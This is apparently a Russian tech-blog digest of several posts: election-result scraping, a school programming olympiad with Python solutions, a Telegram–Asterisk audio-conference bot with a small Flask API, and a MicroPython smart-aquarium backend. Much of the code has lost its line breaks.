Мне же надоело ждать когда в ~30 округах из 1100 утвердят выборы, поэтому я написал скрипт, при помощи selenium библиотеки, который выгружает данные с классического сайта избиркома и просит меня вручную решить капчу при каждом запросе. С таким небольшим числом запросов, вручную решать капчу не занимает много времени.

В результате, данные об итогах голосования я собрал в следующую структуру:

Пример результатов голосования в округе
{..."33": {        "candidate_total": {            "4444032121758": 880,            "4444032122449": 236,            "4444032122782": 143,            "4444032123597": 152,            "4444032123815": 149,            "4444032124060": 72        },        "is_final": 1,        "non_valid_votes": 132,        "registered_voters": 6928,        "valid_votes": 1632    },...}



Для каждого округа я сохранил суммарное число избирателей в списках (для подсчёта явки), число действительных и недействительных бюллетеней. В структуре содержится словарь: Идентификатор кандидата -> Набранное им число голосов.

Публикация итогов УмГ-2020


Во первых, собранные данные в JSON-формате я опубликовал на GitHub. Данные будут обновляться, пока результаты не утвердят во всех округах.

Во вторых, для привлечения внимания к проекту, я решил сгенерировать Google Таблицу, в которой, в удобном для визуального анализа виде, приведены все собранные данные.

Вдаваться в подробности не буду, никаких сложностей (кроме изучения Google Sheets API) возникнуть не должно. Очень помогла данная статья, в которой подробно рассказано взаимодействие с Google Sheets API на Python.

image

В итоге получилась такая таблица, в которой собраны:



Послесловие


Идея данного мини-проекта возникла за 3 дня до дня голосования и лично я доволен тем, как успел изучить и реализовать всё в кратчайшие сроки (хотя код получился ужасным).

Я не собираюсь делать какие-либо выводы об итогах стратегии Умного Голосования, я лишь предоставил инструменты для любителей электоральной статистики. Уверен, среди вас найдутся таковые и скоро мы увидим замечательные исследования, с интересными графиками и диаграммами :)

Подробнее..

Recovery mode Опыт проведения городской школьной олимпиады по программированию

19.09.2020 18:15:27 | Автор: admin

В этой статье я расскажу про опыт проведения городской школьной олимпиады по программированию.

Идея организовать местную олимпиаду возникла ещё на стадии запуска детской школы программирования. За два года работы стало ещё более очевидно, что счёт идёт на единицы различных соревнований в этом направлении, а значит мало возможностей для проверки учеников, вовлечения вне занятий, дополнительной мотивации результатами. Скажу даже так: в Иркутске нет соревновательных мероприятий для учеников по программированию на scratch, и только одна олимпиада в которой могут участвовать питонисты - Играем в программистов.

Казалось, что организовать олимпиаду нужно много ресурсов: найти большое помещение, например договориться с крупной библиотекой, обеспечить техникой, найти преподавателей-волонтёров, обеспечить безопасность и море других мелочей. И это было некоторым камнем преткновения для частного небольшого учебного заведения в части ресурсов. Решение пришло неожиданно - дистанционная олимпиада! В феврале 2020 года пошли слухи про скорую удалёнку, что очные мероприятия запретят и для меня всё стало на свои места.

Теперь про организацию олимпиады:

Задания мы выложили в вконтакте в своей группе 20 марта 2020 года. Время для решения задач дали чуть больше недели - с 20 марта 2020 года по 29 марта 2020 года. Оценку работ планировали провести до 12 апреля 2020 года, даже сомневались не мало ли, но справились всего за 4 дня. При этом участников было чуть больше 100, проверка была ручная(но об этом попозже).

Участников поделили на три категории:

  • младшая ступень (до 7 класса общеобразовательных учреждений включительно, задачи решены на визуальном языке программирования scratch/snap)

  • средняя ступень (до 7 класса общеобразовательных учреждений включительно, задачи решены на любом разрешённом олимпиадой языке программирования)

  • старшая ступень (8-11 классы общеобразовательных учреждений, задачи решены на любом разрешённом олимпиадой языке программирования).

Что же это за такие разрешённые языки. Мы посоветовались с муниципальными коллегами, которые проводят уже больше 15 лет олимпиаду Играем в программистов и допустили следующий список:

Язык

Редактор

Компилятор

C++

Code: Blocks, VisualStudio

VisualStudio 2019

C#

Code: VisualStudio

VisualStudio 2019

Pascal

FreePascal 2.6.2

FreePascal 2.6.2

Basic

FreeBasic 0.90.1

FreeBasic 0.90.1

Java

NetBeans, Eclipse

JDK 1.7.0

Python

IDLE

Python 3.6

Учащимся предлагались задания с указанием максимального количества баллов за каждую задачу и примерными тестами к ней. Решения заданий олимпиады должны были предоставить в виде исходного кода на языке программирования. Ничего необычного. Главное - обозначить как правильно называть имена файлов, по опыту преподавания - дети любят творческие названия проектов. Мы прописали в положении к олимпиаде такое правило: Имя файла даётся по следующему принципу: до 5 символов название учебного заведения с указанием территории, 2 символа инициалы участника и последний символ номер задачи. В имени файла можно использовать только латинские буквы и цифры, первый символ буква. В основном все следовали указаниям. Когда проверяешь сотни работ, у каждого одни задачи решены, другие нет - соблюдение данного пункта очень экономит время на проверке.

На каждую задачу делали по 5 тестов, за каждый пройденный тест начисляли по 2 балла. Разрешили предоставление дополнительных решений задач. За каждое дополнительное решение начисляли 5 баллов при условии, что и основное решение и дополнительное успешно прошли все тесты. Дополнительное решение должно существенно отличается по методу решения задачи. Сделали это для подстраховки, если будут ученики, решившие все задачи и набравшие максимальные баллы. Спойлер - такого не случилось. Отчасти потому что задачи были составлены не одного уровня, а от совсем простых до очень-очень сложных.

Теперь приведём сами задачки и наши варианты решений, которые мы публиковали для учеников своей школы в рамках их образовательной программы вместе с разбором решений.

Разборы решений, ниже под спойлерами сами задачи и код на python

Задача 1

Через ввод с клавиатуры задаётся количество чисел. Затем сами числа передаются через ввод пользователя с клавиатуры и заносятся в готовый пустой список. Составить программу, подсчитывающую среднее арифметическое. Результат записывается в переменную. Визуально(scratch/snap) на экране отображается результат любым способом (например, функция говорить/думать). Текстовое (python) результат выводится в консоль на экран.

Примерный тест:

Входные данные:

Выходные данные:

5

1 2 3 4 5

3

Решение 1
a = int(input("Количество чисел:"))y = 0for i in range(a):    x = float(input("Число:"))    y += xy = y / aprint("Среднее арифметическое: " + str(y))
Задача 2

У Кота, Пса и Птицы имеется по некоторому количеству грибов (у всех по разному количеству). Данные по количеству передаются через ввод пользователя с клавиатуры и заносятся в готовый пустой список, где первый элемент - грибы Кота, второй элемент - грибы Пса, третий элемент - грибы Птицы.

Составить программу, определяющую, у кого из них наибольшее количество. Результат записывается в переменную. Визуально (scratch/snap) на экране появляется персонаж с наибольшим количеством грибов и говорит (функция говорить/думать)) количество грибов. Текстовое (python) имя персонажа выводится в консоль на экран.

Примерный тест:

Входные данные

10 30 20

20 10 30

Выходные данные

Пёс

Птица

Решение 2
s = []for i in range(3):    griby = int(input())    s.append(griby)if s[0]>s[1] and s[0]>s[2]:    print("Кот")elif s[1]>s[2]:    print("Пёс")else:    print("Птица")
Задача 3

Через ввод с клавиатуры задаётся количество девочек, у которых было по некоторому количеству яблок. Данные по количеству передаются в готовый пустой список. Каждая девочка съела по стольку яблок, каков её порядковый номер.

Составить программу для определения у кого сколько осталось яблок. Результат записывается в список. Визуально (scratch/snap) на экране отображаются пять девочек (обязательно использование клонов) и говорят (функция говорить/думать) количество яблок. Текстовое (python) количество яблок выводятся в консоль на экран. По каждой девочке? По порядку отдельной строкой.

Примерный тест:

Входные данные:

Выходные данные:

5

10 20 30 40 50

9

18

27

36

45

Решение 3
girls = int(input())apple = []for numgirl in range(1, girls + 1):    a = int(input())    a = a - numgirl    apple.append(a)for numgirl in range(girls):    print(apple[numgirl])
Задача 4

День недели задаётся через ввод пользователя с клавиатуры числом от 1 до 7. Составить программу, в которой визуально (scratch/snap) на экране отображается название этого дня любым способом (например, функция говорить/думать). Текстовое (python) название дня выводится в консоль на экран.

Примерный тест:

Входные данные

1

3

Выходные данные

Понедельник

Среда

Решение 4
days = ['Понедельник','Вторник','Среда','Четверг','Пятница','Суббота','Воскресенье']day = int(input())print(days[day - 1])
Задача 5

Через ввод с клавиатуры задаётся количество чисел. Затем сами числа передаются через ввод пользователя с клавиатуры и заносятся в готовый пустой список. Сделать программу, изменяющую элементы списка, числа кратные 5 заменять на 2 (умноженную на кратность заменяемого числа), а числа кратные 2 заменять на 5 (умноженную на кратность заменяемого числа). Числа передаются в готовый пустой список. Результат записывается в список. Визуально (scratch/snap) на экране отображаются все элементы списка любым способом (например, функция говорить/думать). Текстовое (python) элементы списка выводится в консоль на экран в одну строку.

Примерный тест:

Входные данные:

Выходные данные:

6

10 2 6 20 4 5

4 5 15 8 10 2

Решение 5
nums = int(input())listnums = []for i in range(nums):    listnums.append(int(input()))for i in range(nums):    if listnums[i] % 5 == 0:        listnums[i] = listnums[i] // 5 * 2    elif listnums[i] % 2 == 0:        listnums[i] = listnums[i] // 2 * 5    print(listnums[i])
Задача 6

Условие этой задачи очень простое: вам всего лишь надо определить, сколько клеток находится под боем шахматного коня, одиноко стоящего на шахматной доске. На всякий случай напомним, что конь ходит буквой Г на две клетки по горизонтали или вертикали в любом направлении, и потом на одну клетку в направлении, перпендикулярном первоначальному. Программа получает на вход через вводы пользователя с клавиатуры два числа от 1 до 8 каждое, задающие номер столбца и номер строки, обозначающие позицию коня на шахматной доске. Визуально (scratch/snap) на экране отображаются любым способом (например, функция говорить/думать) количество клеток шахматной доски, находящихся под боем коня. Текстовое (python) количество клеток шахматной доски, находящихся под боем коня выводится в консоль на экран.

Примерный тест:

Входные данные:

Выходные данные:

1 5

4

8 1

2

Решение 6
vozmojnost = 0stolb = int(input())stroka = int(input())# Конь ходит вправоif stolb + 2 < 9:    if stroka + 1 < 9: # и вверх        vozmojnost += 1     if stroka - 1 > 0: # и вниз        vozmojnost += 1 # Конь ходит влево        if stolb - 2 > 0:    if stroka + 1 < 9: # и вверх        vozmojnost += 1     if stroka - 1 > 0: # и вниз        vozmojnost += 1 # Конь ходит вверх        if stroka + 2 < 9:    if stolb + 1 < 9: # и вправо        vozmojnost += 1    if stolb - 1 > 0:# и влево        vozmojnost += 1# Конь ходит вниз        if stroka - 2 > 0:    if stolb + 1 < 9:# и вправо        vozmojnost += 1    if stolb - 1 > 0:# и влево        vozmojnost += 1        print(vozmojnost)
Задача 7

Заданы две клетки шахматной доски. Если они покрашены в один цвет, то выведите слово YES, а если в разные цвета то NO. Программа получает на вход через вводы пользователя с клавиатуры четыре числа от 1 до 8 каждое, задающие номер столбца и номер строки сначала для первой клетки, потом для второй клетки. Визуально (scratch/snap) на экране отображаются любым способом (например, функция говорить/думать) YES или NO. Текстовое (python) выведите YES или NO в консоль на экран.

Примерный тест:

Входные данные:

Выходные данные:

1 1 2 6

YES

Решение 7
summ = 0for i in range(4):    summ += int(input())if summ % 2 ==0:    print('YES')else:    print('NO')
Задача 8

На ипподроме наметилось городское соревнование. Но никто не знает сколько будет участников. Места всем хватит, но есть проблема с расширением стартового загона. Представьте загон в виде квадратной таблицы. Участника номер один необходимо ставить в правом верхнем (переднем) углу, далее участников ставят по диагоналям сверху вниз, последний участник стоит в левом нижнем углу. Чтобы быстро сделать расстановку необходимо вывести на табло данную таблицу. Организатор в последний момент сообщит Вам только количество участников (программа получает на вход через ввод пользователя с клавиатуры одно число).

Визуально (scratch/snap) на экране рисуется таблица, в каждой ячейке вместо обычных чисел используйте точки, какое число столько сгруппированных точек в ячейке. Текстовое (python) вывести в консоль на экран таблицу с числовой расстановкой.

Примерный тест:

Входные данные:

Выходные данные текстовое:

9

4 2 1

7 5 3

9 8 6

Решение 8
vvod = int(input())num = vvod ** 0.5if int(num) != num:    num = int(num) + 1else:    num = int(num)table = [[0] * num for i in range(num)]numb = 0ivert = numfor i in range(num):    if ivert > 0:        igoriz = 0        for i in range(num - ivert + 1):            if igoriz <= num - ivert:                numb += 1                if numb <= vvod:                    table[igoriz][ivert + igoriz - 1] = numb                else:                    table[igoriz][ivert + igoriz - 1] = 0            igoriz += 1    ivert -= 1  ivert = 1            for i in range(num - 1):    if ivert < num:        igoriz = 0        for i in range(num - ivert):            if igoriz < num - ivert:                numb += 1                if numb <= vvod:                    table[ivert + igoriz][igoriz] = numb                else:                    table[ivert + igoriz][igoriz] = 0            igoriz += 1    ivert += 1for row in table:    for elem in row:        print(elem, end=' ')    print()
Задача 9

В наш город приехал чудо-зоопарк с множеством зверей. Одних только пингвинов 3 вида, 4 вида черепах, 5 видов акул и т.д. Вы весь день записывали названия животных в блокнот, а вечером решили подсчитать каких животных (не разделяя на виды) было больше всего. Сколько в блокноте всего животных неизвестно, но точно понятно, что каких-то животных больше и что сначала записано животное, а затем его вид, например, Penguin Emperor. В каждой из следующих строк блокнота записано по одному виду животного. На вход подаётся файл input.txt с данными. Для scratch/snap в программе необходим пустой список для ручного импорта в него файла. Визуально (scratch/snap) на экране отображаются любым способом (например, функция говорить/думать) название животного и их количество. Текстовое (python) в консоль на экран в одну строку выводится название животного и их количество.

Примерный тест:

Входные данные:

Выходные данные:

Penguin Emperor

Shark zebra

Turtle Caiman

Shark white

Shark 2

Решение 9
file = open("input.txt")animal=[]kolvo=[]for stroka in file:    data = stroka.split()    animal.append(data[0])for i in animal:    kolvo.append(animal.count(i))maxi = 0pos = 0for i in range(len(kolvo)):    if kolvo[i] > maxi:        maxi = kolvo[i]        pos = iprint(animal[i], maxi, end=" ")
Задача 10

Поговаривают, что сейчас самая популярная игра у школьников - brawl stars. Ты наверняка чемпион и прокачал множество персонажей. Близится соревнование и поэтому надо разбить персонажей на две равные команды. У вас есть несколько персонажей известного уровня w1, , wn. Напишите программу, которая распределит персонажей в две команды так, что разность суммы уровней этих двух команд будет минимальной. Ввод содержит уровни персонажей w1, , wn (1 wi 100) через пробел с именами персонажей. На вход подаётся файл input.txt с данными. Для scratch/snap в программе необходим пустой список для ручного импорта в него файла

Ваша программа должна вывести имена персонажей первой команды, затем одно число минимальную разность уровней двух команд. Затем имена персонажей второй команды.

Визуально (scratch/snap) вывод последовательно заносится в список. Текстовое (python) ответ выводится в консоль на экран отдельными строками.

Примерный тест:

Входные данные:

Выходные данные

4 Shelly

7 Bull

10 Bo

12 8-bit

15 ElPrimo

20 Tick

Tick

Bo

Shelly

0

ElPrimo

8-bit

Bull

Решение 10
file = open("input.txt")pers_dict = []for pers in file:    data = pers.split()    pers_dict.append((data[1], int(data[0])))pers_dict.sort(key = lambda elem: elem[1], reverse = True)               command1 = []command2 = []summa1=0summa2=0for elem in pers_dict:    if summa1 <= summa2:        command1.append(elem)        summa1 += elem[1]    else:        command2.append(elem)        summa2 += elem[1]for key in command1:    print(key[0])     if summa1> summa2:    print(summa1-summa2)else:    print(summa2-summa1)for key in command2:    print(key[0])

Какими выводами хотелось бы поделиться по итогам:

  • Организовать городскую олимпиаду просто, сделайте её дистанционной, не переживайте за гугление участниками, разработайте свои задачи и тогда нагуглить решение будет в разы сложнее, чем решить.

  • Финансирование олимпиады - дело минимальное, берите пример с Роббо, они Российскую олимпиаду по scratch проводят мега бюджетно - электронные дипломы и сертификаты участника с факсимиле организатора, но сути это не меняет - красивая электронная "бумажка" в наличии.

  • Не нужно придумывать автоматизированную проверку, не так страшно ручное тестирование решений. Главное заранее подготовьте тесты.

  • Думаете будет мало участников? Разошлите электронные письма в школы города. Всегда найдётся педагоги, которые очень заинтересованы в таких мероприятиях.

  • Наша олимпиада оказалась очень сложной для школьников всех возрастов, хотя я переживал об обратном. Реально полезной оказалась градация задач по сложности. Задачи 8-10 можно смело забыть, вместо них мы решили в будущем добавить 6 простых задач, схожих по уровню с 4 задачей.

Я очень надеюсь, что статья будет полезной руководителям кружков программирования и педагогам. Смело проводите местные олимпиады, смотрите решения ваших учеников, делайте выводы для улучшения своей образовательной программы.

Подробнее..

Реализация аудиоконференций в Telegram Asterisk

25.09.2020 20:20:19 | Автор: admin


В предыдущей статье я описывал реализацию выбора пользователем места жительства при регистрации в моем telegram боте, который я создавал вдохновившись идеей Телефонного эфира. В этой же статье я опишу интеграцию бота с Asterisk .

Зачем ?


Многим не нравится что в Telegram нельзя осуществлять групповые звонки.
Ну не использовать же Viber ?)
Также есть ряд кейсов именно для такой реализации, например:
  • Для проведения анонимных аудиоконференций, когда не хочется засветить свой номер либо id среди участников конференции (сразу на ум приходит шабаш хакеров либо клуба анонимных алкоголиков). Не нужно находиться в какой либо группе, сообществе, канале
  • Когда не известно кто подключиться к конференции вообще, но нужно ограничить доступ паролем
  • Все прелести Asterisk: управление конференцией (mute/umute, kick), организация гибридных аудиоконференций с участием клиентов, зарегистрированных на asterisk, telegram и PSTN. Неплохо можно сэкономить на международных звонках
  • Организация корпоративного callback via telegram и т.п.

На ум приходит куча вариантов, их много, ограничено лишь фантазией. После многих лет работы с Asterisk я считаю, что главное завести на него звонок, а дальше с ним можно сделать все что годно, хоть в космос отправить.

Связка Asterisk VoIP- Telegram VoIP


Сама связка VoIP реализована благодаря библиотеки tg2sip. Использование ее описано в самом репозитории в разделе Usage. Есть еще несколько статей по настройке. Даже есть Docker образ.
Описание этой связки выходит за рамки данной статьи.
Единственный нюанс который я хотел бы озвучить это то, что нельзя позвонить на telegram_id, номера которого нет в Вашей книге контактов. Поэтому звонить нужно на номер телефона, на который зарегистрирован telegram.

В моем боте реализованы как публичные аудиоконференции (Эфиры), к которым может подключиться любой желающий, так и приватные аудиоконференции с доступом по паролю. Приватные комнаты/пароли создают сами пользователи и могут использовать бот в качестве площадки дле проведения аудиоконференций, совещаний и т.п.

Взаимодействие telegram bot Asterisk


Схема взаимодействия в моем боте выглядит следующим образом.
Пользователь выбирает желаемую комнату в меню бота, бот вызывает функцию взаимодействия с Asterisk по API передав в POST запросе параметры для подключения:
номер телефона абонента
идентификатор конференц комнаты
callerid для презентации в конференц комнате
язык для озвучивания пользователю уведомлений в системе Asterisk на родном языке
Далее, Asterisk осуществляет исходящий звонок через каналы telegram на номер, указанный в параметрах запроса. После ответа пользоветелем на звонок, Asterisk подключает его в соответствующую комнату.

Можно было бы использовать прямое подключение с бота на Astersik AMI, но я предпочитаю работать через API, чем проще тем лучше.

API на стороне Asterisk сервера


Код простого API на python. Для инициализации звонка используются .call файлы

#!/usr/bin/python3from flask import Flask, request, jsonifyimport codecsimport jsonimport globimport shutilapi_key = "s0m3_v3ry_str0ng_k3y"app = Flask(__name__)@app.route('/api/conf', methods= ['POST'])def go_conf():    content = request.get_json()    ## Блок авторизации    if not "api_key" in content:        return jsonify({'error': 'Authentication required', 'message': 'Please specify api key'}), 401    if not content["api_key"] == api_key:        return jsonify({'error': 'Authentication failure', 'message': 'Wrong api key'}), 401    ## Проверка наличия нужных параметров в запросе    if not "phone_number" in content or not "room_name" in content or not "caller_id" in content:        return jsonify({'error': 'not all parameters are specified'}), 400    if not "lang" in content:        lang = "ru"    else:        lang = content["lang"]    phone_number = content["phone_number"]    room_name = content["room_name"]    caller_id = content["caller_id"]    calls = glob.glob(f"/var/spool/asterisk/outgoing/*-{phone_number}*")    callfile = "cb_conf-" + phone_number + "-" + room_name + ".call"    filename = "/var/spool/asterisk/" + callfile    if calls:        return jsonify({'message': 'error', "text": "call already in progress"})    with codecs.open(filename, "w", encoding='utf8') as f:        f.write("Channel: LOCAL/" + phone_number + "@telegram-out\n")        f.write("CallerID: <" + caller_id + ">\n")        f.write("MaxRetries: 0\nRetryTime: 5\nWaitTime: 30\n")        f.write("Set: LANG=" + lang + "\nContext: conf-in\n")        f.write("Extension: " + room_name + "\nArchive: Yes\n")    shutil.chown(filename, user="asterisk", group="asterisk")    shutil.move(filename, "/var/spool/asterisk/outgoing/" + callfile)    return jsonify({'message': 'ok'})if __name__ == '__main__':    app.run(debug=True,host='0.0.0.0', port=8080)


При этом диалплан Asterisk в простом виде выглядит следующим образом:

[telegram-out]
exten => _+.!,1,NoOp()
same => n,Dial(SIP/${EXTEN}@telegram)

exten => _X!,1,NoOp()
same => n,Dial(SIP/+${EXTEN}@telegram)

[conf-in]
exten => _.!,1,NoOp()
same => n,Answer()
same => n,Wait(3)
same => n,Playback(beep)
same => n,Set(CHANNEL(language)=${LANG})
same => n,ConfBridge(${EXTEN})
same => n,Hangup


Данное API можно использовать и в других кейсах, например, для организации той же callback кнопки Перезвонить мне и т.п.

Функция вызова API


telephony_api.py
import requests# Заменить example.com на Ваш urlurl = "http://example.com:8080/api/conf"api_key = "s0m3_v3ry_str0ng_k3y"def go_to_conf(phone_number, room_name, caller_id, lang="ru"):    payload = "{\n\t\"phone_number\" : \""+phone_number+"\",\n\t\"room_name\" : \""+room_name+"\",\n    \"caller_id\" : \""+caller_id+"\",\n\t\"lang\": \""+lang+"\",\n\t\"api_key\": \""+api_key+"\"\n}"    headers = {        'content-type': "application/json",        'cache-control': "no-cache",        }    try:        response = requests.request("POST", url, data=payload, headers=headers, timeout=2, verify=False)        if "call already in progress" in response.text:            return False, "Ошибка. Звонок еще не завершен."        elif "error" in response.text:            print(response.text)            return False, "Ошибка. Произошел сбой. Попробуйте позже."        else:            return True, response.text    except:        return False, "Ошибка. Произошел сбой. Попробуйте позже."


Этих двух инструментов уже хватит для интеграции в Ваш бот, заворачивайте его в свою логику и используйте.

Пример бота для инициализации вызова в конференц комнату



#!/usr/bin/python3.6import telebotfrom telephony_api import go_to_confbot = telebot.TeleBot("ВашTOKEN")pnone_number = "799999999999"# Ваш номер телефона, на который зарегистрирован telegram аккаунт@bot.message_handler(content_types=['text'])def main_text_handler(message):    if message.text == "Подключи меня в аудиоконференцию":        bot.send_message(message.chat.id, "Ok. Сейчас на telegram Вам прийдет звонок, ответив на который Вы будете подключены в аудиоконференцию")        func_result, func_message = go_to_conf(pnone_number, "ROOM1", "Bob", "ru")        if not func_result:            bot.send_message(chat_id=message.chat.id, text=func_message)if __name__ == "__main__":)   print("bot started")   bot.polling(none_stop=True)

В данном примере номер телефона задан статически, в реальности же можно например, делать запросы в базу на соответствие message.chat.id номер телефона.

Надеюсь, моя статья поможет кому-то создать крутые проекты и в свою очередь поделиться ними с сообществом.
Подробнее..

Из песочницы Как я умный аквариум делал (backend)

27.09.2020 12:08:21 | Автор: admin

image


Пролог


Работая программистом в одной из больших и успешных компаний Москвы, я не переставал совершенствовать свои навыки программирования и проходил различные курсы на платформе Udemy.
Конечно просто смотря курс и повторяя все за автором было скучновато, да и были моменты которые я не понимал ввиду своей некомпетентности на тот момент. Нужно делать свои проекты, основываясь на том, что дает автор курса подумал я, и был конечно же прав. Только настоящие трудности и их разрешение дает вам бесценный опыт, это и есть настоящая обучение.


Обучался я в основном web программированию, поскольку и работал на том же направлении. Охватывал Full-stack разработку, поскольку решил, что нужно разбираться как в серверной части, так и во фронтовой. Учил JavaScript и различные фреймворки для бека это были Express, Appolo GraphQL (поскольку на работе был именно такой стек, да и в целом хотелось попробовать что-то отличное от REST подхода), на фронте это был все тот же Apollo GQL и Vue.


И вот немного окрепнув в этой связке, завершая один из учебных проектов, я задумался, что бы сделать интересного, где можно было бы задействовать мои знания. Эта мысль меня уже давно беспокоила, конечно многие мне советовали, для того что бы получить опыт, можно сделать с нуля свой "В контакте", "The Facebook", "Instagram" и т.д. и они были правы, действительно это бы прибавило мне опыта, но такие большие проекты я боялся не вывести в одиночку и забросить его.


Как то раз мой друг решил купить себе аквариум, тогда я думал, что это глупое занятие, что толку пялится на рыб? Подумал я тогда...


Но случилось то что должно было, друг купил себе аквариум на 15 литров и тройку рыбешек по 3см каждая. Спустя неделю друг понял, что хочет больше и конечно же свой старый он подсунул именно мне со словами "Да ладно он не большой, тебе понравится, просто поставь, пусть стоит рядом с кроватью". Но тех рыб он оставил себе. Я же пошел в ближайшей магазин и купил себе "Петушка" Кто не в курсе погуглите, вкратце скажу, что это бойцовская рыбка, которую всегда селят в отдельном аквариуме.


Спустя время аквариумистика мне понравилась и прочитав кучу инфы, понял что мне хочется морской аквариум. Во-первых это красиво, настоящее море и кораллы у тебя дома. Во-вторых это сложно и бросает тебе вызов. Будет интересно подумал я.


И так почитав разные статейки я пришел к тому, что я хочу для начала попробовать так называемый "Нано риф" маленький морской аквариум от 20-50 литров, в который даже "Самп" необязательно ставить. Выяснилось, что мне нужно освещение в разных спектрах (белый, синий, зеленый, красный), при всем этом светодиоды должны светить одновременно, поэтом RGB светодиоды мне не подойдут. Освещение должно само меняться, создавая иллюзию дня и ночи. Нужен был рассвет и закат. Нужно следить за температурой. Нужно следить за химической составляющей воды. Делать ее подмены. И еще много всего. И тут я подумал, что можно какую то часть из этого автоматизировать, по крайней мере что касаемо освещения и температуры.


Еще несколько лет назад я делал несложные приспособления на платформе Arduino. Было весело и интересно, было решено сделать умный аквариум на базе этой платформы, позже я поменял саму платформу.


Не переплачивай делай сам


Выбор был сделан в пользу платы NodeMCU это такая "Ардуина" с уже встроенным WI-FI на борту (ESP 8266), что мне и нужно было, хотя у меня и была в закромах Arduino nano и сам wi-fi модуль в отдельном исполнении, но его надо было прошивать для этого и т.д. Заказал на известном сайте в поднебесной новенькую NodeMCU, пришла быстро и работа закипела.



По старинке скачал Arduino IDE настроил ее на работу с этой платой (на Windows 10, сам драйвер встал по умолчанию), и открыл пример для подключения к WI-FI. Не знаю почему, долго я мучил ее но так и не влетело мое подключение, начала гуглить. Почитав несколько статей, узнал, что на платку можно залить прошивку для некоего языка Lua(потратив усилия и время потом уже вычитал, что еще есть Micro python, но об этом позже)


Прошив плату и открыв документацию вместе с форумом, увидел примеры кода, которые шокировали даже меня, человека который нормально относится к C++ в Arduino и знающего JS и Python(немного). И там был синтаксис которого я не хотел:


init.lua


print ( "Waiting ...")tmr.register (0, 5000, tmr.ALARM_SINGLE, function (t) tmr.unregister (0); print ( "Starting ..."); dofile ( "main.lua") end)tmr.start (0)

main.lua


--WiFi Settupwifi.setmode(wifi.STATION)local cfg={}cfg.ssid="wifi_point_name"cfg.pwd="point_pass"wifi.sta.config(cfg)cfg = nilcollectgarbage()=wifi.ap.getip()

Пример для подключения к WI-FI был менее ужасным, но тем не менее, я не хотел разбираться в этих begin и end. Почитав документацию к esp-8266 узнал, что есть на ней некая прошивка с Питоном на борту. Точнее это было не просто обычный Питон, это было Micro python, некая обрезанная версия его, но все же это было лучше чем lua ИМХО. И я полез искать прошивки и инструменты


Скачиваем с сайта прошивку под нужную плату и прошиваем при помощи esptool прошиваем


pip install -g esptoolesptool.py --port COM3 --baud 460800 write_flash --flash_size=detect 0 esp8266-20191220-v1.12.bin

скачиваем специальную IDE EsPy для работы с "Микропитоном" и понеслась.


Для начала прочитал что на плату надо залить обязательных два файла, без которых ничего не поедет, а именно:


  • boot.py скрипт, который загружается первым при включении платы. Обычно в него вставляют функции для инициализации модулей, подключения к Wi-Fi и запуска WebREPL;
  • main.py основной скрипт, который запускается сразу после выполнения boot.py, в него записывается основная программа.

Далее читаю как все используют интерфейс взаимодействия WebREPL очень схоже с тем как используют ssh подключение для работы с raspberri, но он был мне не нужен, поскольку EsPy умел общаться с платой и можно было также закачивать свеженаписанный скрипт на плату без использования esptool, хотя и там не было ничего сложного. Первый шаг подключение к WI-FI засунул в скрипт самый базовый и легкий код.


boot.py


import networkimport time''' Код подключения к WiFi '''wlan_id = "my_point"wlan_pass = "strong_pass"wlan = network.WLAN(network.STA_IF)wlan.active(True)if wlan.isconnected() == False:    wlan.connect(wlan_id, wlan_pass)    while wlan.isconnected() == False:        time.sleep(3)        print("Connection Fail...")print('Device IP:', wlan.ifconfig()[0])

В файлик main.py решил добавить запуск самого приложения, код получился простым и лаконичным, в дальнейшем добавил туда создание таски для asyncio, что бы было все асинхронно(хоть и питоновские библиотеки были сыроваты для этого).


main.py


from app import app_startapp_start()

Далее наткнулся на библиотеку MicroPyServer которая была не большой (всего один файлик), и позволял на базовом уровне создать веб-сервер с роутами(библиотека была построена на сокетах). Ну что ж напишем Хэлсчек для проверки и зальем все на плату.


app.py


from micropyserver import MicroPyServerimport ujsonserver = MicroPyServer()def send(self, **kwargs):        '''            Отправляем ответ        '''        server.send(            ujson.dumps(kwargs),            content_type="Content-Type: application/json",            # Добавляем заголовки для CORS политики            extra_headers=["Access-Control-Allow-Origin: *"]        )        gc.collect()def healthcheck():    send(success=1, healthcheck='green')server.add_route("/healthcheck", healthcheck)def app_start():    server.start()

Со структурой (иерархией) проекта решил не выпентриваться, все таки памяти маловато и размещать все в отдельных папках боялся, а вдруг она закончится в самый не походящий момент. Залил все файлики прям в корень платы.


  • main.py
  • boot.py
  • app.py
  • micropyserver.py

Запускаем, видим что сервак локально поднялся и предлагает сходить на http://192.168.1.70/ и проверить. Идем в браузер, делаем запрос http://192.168.1.70/healthcheck, и о чудо все работает, сервер отвечает



// Json from chrome browser{    "success": 1,    "healthcheck": "green",}

Далее ждал когда приедут нужные мне hardware запчасти (датчик температуры, LED-матрицы, LCD-дисплей и т.д. ), пока ждал, принялся писать бекенд дальше, все разбил на классы и начал писать. Для начала решил написать Помошника для сервера, который бы включал в себя парсер запросов и функцию отправки, и добавил Класс для работы с датчиком температуры.


app.py


from heater import Heater# ... пропущен кодclass HttpHelper:    """        Простой парсер GET запросов    """    def __init__(self):        pass    def parse(self, request):        '''            парсер строки ответа сервера        '''        lines = request.split("\r\n")        result = {            'lines': lines,            'method': ure.search("^([A-Z]+)", lines[0]).group(1),            'path': ure.search(                "^[A-Z]+\\s+(/[-a-zA-Z0-9_.]*)", lines[0]            ).group(1),        }        param_split = ure.sub("\/([a-z]+_?)+?\?", '', lines[0].split(" ")[1])        result['params'] = self.get_params(param_split.split("&"))        return result    def get_params(self, params_as_array):        '''            создает словарь для query параметров        '''        params = {}        for element in params_as_array:            splited = element.split("=")            params[splited[0]] = splited[1]        return params    def send(self, **kwargs):        '''            Отправляем ответ        '''        server.send(            ujson.dumps(kwargs),            content_type="Content-Type: application/json",            extra_headers=["Access-Control-Allow-Origin: *"]        )        gc.collect()# ... пропущен кодdef get_water_temperature_C(request):    '''        Отдает температуру в Цельсиях    '''    try:        water_heater.get_water_tmp_C()        http_helper.send(            success=1,            water_temperature_c=water_heater.water_tmp        )    except Exception as e:        print(e)        http_helper.send(success=0, error=e)# ... пропущен кодserver.add_route("/healthcheck", healthcheck)server.add_route("/get_water_tmp", get_water_temperature_C)# ... пропущен код

heater.py


import machineimport onewireimport ds18x20HEATER_PIN = 2class Heater:    def __init__(self):        self.water_tmp = 0.00        self.heater_pin = machine.Pin(HEATER_PIN)        self.sensor = ds18x20.DS18X20(onewire.OneWire(self.heater_pin))    def get_water_tmp_C(self):        rows = self.sensor.scan()        self.sensor.convert_temp()        for rom in rows:            self.water_tmp = self.sensor.read_temp(rom)        return self.water_tmp

